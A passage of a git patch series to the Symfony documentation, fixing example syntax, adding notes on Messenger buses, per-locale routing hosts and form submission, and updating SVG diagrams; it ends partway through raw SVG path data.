 6 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 721e2144654..a42aecb1d01 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..5a4716fd3e7 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -316,8 +316,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
diff --git a/security.rst b/security.rst
index d98506c8ee2..738e35474ea 100644
--- a/security.rst
+++ b/security.rst
@@ -368,7 +368,6 @@ important section is ``firewalls``:
                 <firewall name="main"
                     anonymous="true"
                     lazy="true"/>
-                </firewall>
             </config>
         </srv:container>
 
diff --git a/security/access_control.rst b/security/access_control.rst
index 95c57f15a85..2f65dc60281 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -65,7 +65,7 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 269aefe01a0..b7734ef88e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -226,6 +226,7 @@ You can configure this using the ``entry_point`` setting:
                     <!-- allow authentication using a form or HTTP basic -->
                     <form-login/>
                     <http-basic/>
+                </firewall>
             </config>
         </srv:container>
 
diff --git a/session/database.rst b/session/database.rst
index 71f85e73efc..4aa1bcb4532 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -90,7 +90,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
@@ -101,7 +101,7 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -601,7 +601,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };

From 8acd2fdc7018d15e057b6e949d6e03dd9fbf523f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 12:21:25 +0200
Subject: [PATCH 2117/7107] Misc. fixes

---
 mailer.rst                               | 2 +-
 reference/dic_tags.rst                   | 4 ++--
 security.rst                             | 1 -
 security/access_control.rst              | 2 +-
 security/experimental_authenticators.rst | 1 +
 session/database.rst                     | 8 ++++----
 6 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 721e2144654..a42aecb1d01 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
 .. versionadded:: 5.1
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..5a4716fd3e7 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -316,8 +316,8 @@ is restarted):
 
         $container
             ->register(SomeService::class)
-            ->addTag('container.preload', ['class' => SomeClass::class)
-            ->addTag('container.preload', ['class' => OtherClass::class)
+            ->addTag('container.preload', ['class' => SomeClass::class])
+            ->addTag('container.preload', ['class' => OtherClass::class])
             // ...
         ;
 
diff --git a/security.rst b/security.rst
index 70928a65fd5..ed029858d74 100644
--- a/security.rst
+++ b/security.rst
@@ -368,7 +368,6 @@ important section is ``firewalls``:
                 <firewall name="main"
                     anonymous="true"
                     lazy="true"/>
-                </firewall>
             </config>
         </srv:container>
 
diff --git a/security/access_control.rst b/security/access_control.rst
index 95c57f15a85..2f65dc60281 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -65,7 +65,7 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 269aefe01a0..b7734ef88e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -226,6 +226,7 @@ You can configure this using the ``entry_point`` setting:
                     <!-- allow authentication using a form or HTTP basic -->
                     <form-login/>
                     <http-basic/>
+                </firewall>
             </config>
         </srv:container>
 
diff --git a/session/database.rst b/session/database.rst
index 71f85e73efc..4aa1bcb4532 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -90,7 +90,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
@@ -101,7 +101,7 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -601,7 +601,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };

From 8f24431abb29db9eaaf26d384c807568db914fd7 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Mon, 25 May 2020 19:43:26 +0200
Subject: [PATCH 2118/7107] Add a note about allow_no_handlers option

This option was not documented at this state.
---
 messenger/multiple_buses.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 240e9cdc6cc..91ab80879d9 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -105,6 +105,11 @@ This will create three new services:
 
 * ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
 
+.. note::
+
+    The ``allow_no_handlers`` option allows ``event.bus`` to have no handler configured
+    and as a result, it will not end up with error if you define no handler for this bus.
+
 Restrict Handlers per Bus
 -------------------------
 

From 21c296759ec75fd2ae6de57e94c905eb71bf9cfa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 13:02:47 +0200
Subject: [PATCH 2119/7107] Reword

---
 messenger/multiple_buses.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 91ab80879d9..4ee95c1380d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,6 +34,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
+                        # the 'allow_no_handlers' middleware allows to have no handler
+                        # configured for this bus without throwing an exception
                         default_middleware: allow_no_handlers
                         middleware:
                             - validation
@@ -60,6 +62,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
                     </framework:bus>
+                    <!-- the 'allow_no_handlers' middleware allows to have no handler
+                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
                     </framework:bus>
@@ -87,6 +91,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         ],
                     ],
                     'event.bus' => [
+                        // the 'allow_no_handlers' middleware allows to have no handler
+                        // configured for this bus without throwing an exception
                         'default_middleware' => 'allow_no_handlers',
                         'middleware' => [
                             'validation',
@@ -105,11 +111,6 @@ This will create three new services:
 
 * ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
 
-.. note::
-
-    The ``allow_no_handlers`` option allows ``event.bus`` to have no handler configured
-    and as a result, it will not end up with error if you define no handler for this bus.
-
 Restrict Handlers per Bus
 -------------------------
 

From ebb266c6a92a43657516f743921171401e90b012 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 12:07:57 +0100
Subject: [PATCH 2120/7107] [Routing] Explain host per locale

---
 routing.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/routing.rst b/routing.rst
index bf971924311..7ac8e756036 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2206,6 +2206,53 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+Another common requirement is to host the website on a different domain
+according to the locale. This can be done by defining a different host for each
+locale.
+
+.. versionadded:: 5.1
+
+    The ability to define an array of hosts was introduced in Symfony 5.1.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes/annotations.yaml
+        controllers:
+            resource: '../../src/Controller/'
+            type: annotation
+            host:
+                en: 'https://www.symfony.com'
+                nl: 'https://www.symfony.nl'
+
+    .. code-block:: xml
+
+        <!-- config/routes/annotations.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+            <import resource="../../src/Controller/" type="annotation">
+                <host locale="en">https://www.symfony.com</host>
+                <host locale="nl">https://www.symfony.nl</host>
+            </import>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes/annotations.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        return function (RoutingConfigurator $routes) {
+            $routes->import('../../src/Controller/', 'annotation')
+                ->host([
+                    'en' => 'https://www.symfony.com',
+                    'nl' => 'https://www.symfony.nl'
+                ])
+            ;
+        };
+
 .. _stateless-routing:
 
 Stateless Routes

From 2ca4b0a73f5f76c2a96b98c05557d847bee4b425 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 14:41:57 +0200
Subject: [PATCH 2121/7107] Minor tweaks

---
 routing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5e2d9475cd9..4a05acaf613 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2232,8 +2232,8 @@ locale.
             resource: '../../src/Controller/'
             type: annotation
             host:
-                en: 'https://www.symfony.com'
-                nl: 'https://www.symfony.nl'
+                en: 'https://www.example.com'
+                nl: 'https://www.example.nl'
 
     .. code-block:: xml
 
@@ -2244,8 +2244,8 @@ locale.
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
             <import resource="../../src/Controller/" type="annotation">
-                <host locale="en">https://www.symfony.com</host>
-                <host locale="nl">https://www.symfony.nl</host>
+                <host locale="en">https://www.example.com</host>
+                <host locale="nl">https://www.example.nl</host>
             </import>
         </routes>
 
@@ -2256,8 +2256,8 @@ locale.
         return function (RoutingConfigurator $routes) {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
-                    'en' => 'https://www.symfony.com',
-                    'nl' => 'https://www.symfony.nl'
+                    'en' => 'https://www.example.com',
+                    'nl' => 'https://www.example.nl'
                 ])
             ;
         };

From dc6872c47103671b037e6f65ac61f90b405ede84 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 15:03:53 +0200
Subject: [PATCH 2122/7107] Tweaks

---
 messenger.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f5cbb546adc..e66e5219896 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -628,17 +628,16 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-If you use the Redis Transport, note that each worker needs a unique consumer name to
-avoid the same message being handled by multiple workers. One way to achieve this is
-to set an environment variable in the Supervisor configuration file, which you can
-then refer to in `messenger.yaml` (see Redis section above):
+If you use the Redis Transport, note that each worker needs a unique consumer
+name to avoid the same message being handled by multiple workers. One way to
+achieve this is to set an environment variable in the Supervisor configuration
+file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
 
 .. code-block:: ini
 
     environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
 
-Next, tell Supervisor to read your
-config and start your workers:
+Next, tell Supervisor to read your config and start your workers:
 
 .. code-block:: terminal
 
@@ -1251,9 +1250,9 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
-    handled more than once. If you run multiple queue workers, ``consumer` can be set to an
-    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%`)` set by Supervisor
-    (example below) or whatever service used to manage the worker processes.
+    handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    (example below) or any other service used to manage the worker processes.
     In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
     there is only one worker per container/host. If using Kubernetes to orchestrate the
     containers, consider using a ``StatefulSet`` to have stable names.

From 60f5034bfd6cbccd31d49623426fe0b0dbaf44af Mon Sep 17 00:00:00 2001
From: Kamil Kubicki <contact@kamil-kubicki.com>
Date: Mon, 15 Jun 2020 17:35:20 +0200
Subject: [PATCH 2123/7107] Update direct_submit.rst

Updating the rules for payload data submission  - payload fields should equal FormType class describing the Form structure
---
 form/direct_submit.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 876ad3964b1..4ff676b39b4 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -59,3 +59,12 @@ control over when exactly your form is submitted and what data is passed to it::
 
         // 'email' and 'username' are added manually to force their validation
         $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
+        
+.. caution::
+
+    When submitting a form via a "POST" request and manually submitting the form 
+    with ``submit()``, ensure that list of fields in payload equals the list of validated 
+    fields in FormType class - in other case the form validation will fail.
+
+    //'json' represents payload data (used frequently by api client as React/Angular/Vue etc.)
+    $form->submit(array_merge($json, $request->request->all()));

From 4005b8ff66ac106832bf6958b79f6ffe05897717 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 15:27:55 +0200
Subject: [PATCH 2124/7107] Reword

---
 form/direct_submit.rst | 27 ++++++++++++++++++---------
 1 file changed, 18 insertions(+), 9 deletions(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 4ff676b39b4..92dc09c5de5 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -34,6 +34,24 @@ control over when exactly your form is submitted and what data is passed to it::
         ]);
     }
 
+The list of fields submitted with the ``submit()`` method must be the same as
+the fields defined by the form class. Otherwise, you'll see a form validation error::
+
+    public function new(Request $request): Response
+    {
+        // ...
+
+        if ($request->isMethod('POST')) {
+            // '$json' represents payload data sent by React/Angular/Vue
+            // the merge of parameters is needed to submit all form fields
+            $form->submit(array_merge($json, $request->request->all()));
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. tip::
 
     Forms consisting of nested fields expect an array in
@@ -59,12 +77,3 @@ control over when exactly your form is submitted and what data is passed to it::
 
         // 'email' and 'username' are added manually to force their validation
         $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
-        
-.. caution::
-
-    When submitting a form via a "POST" request and manually submitting the form 
-    with ``submit()``, ensure that list of fields in payload equals the list of validated 
-    fields in FormType class - in other case the form validation will fail.
-
-    //'json' represents payload data (used frequently by api client as React/Angular/Vue etc.)
-    $form->submit(array_merge($json, $request->request->all()));

From e7cf354dc5aa73fab42a62b53da8459f1a85c7e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 16:51:30 +0200
Subject: [PATCH 2125/7107] Fixed some typos in some images

---
 ...tom-type-postal-address-fragment-names.svg |   2 +-
 .../form/form-custom-type-postal-address.svg  |   2 +-
 _images/sources/README.md                     |   6 ++++++
 ...tom-type-postal-address-fragment-names.dia | Bin 2578 -> 2580 bytes
 .../form/form-custom-type-postal-address.dia  | Bin 2075 -> 2078 bytes
 5 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/_images/form/form-custom-type-postal-address-fragment-names.svg b/_images/form/form-custom-type-postal-address-fragment-names.svg
index 9b6092c9808..db9463b8327 100644
--- a/_images/form/form-custom-type-postal-address-fragment-names.svg
+++ b/_images/form/form-custom-type-postal-address-fragment-names.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 514"><defs><symbol overflow="visible" id="a"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="b"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="c"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="e"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="g"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="h"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="i"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="j"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="E"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 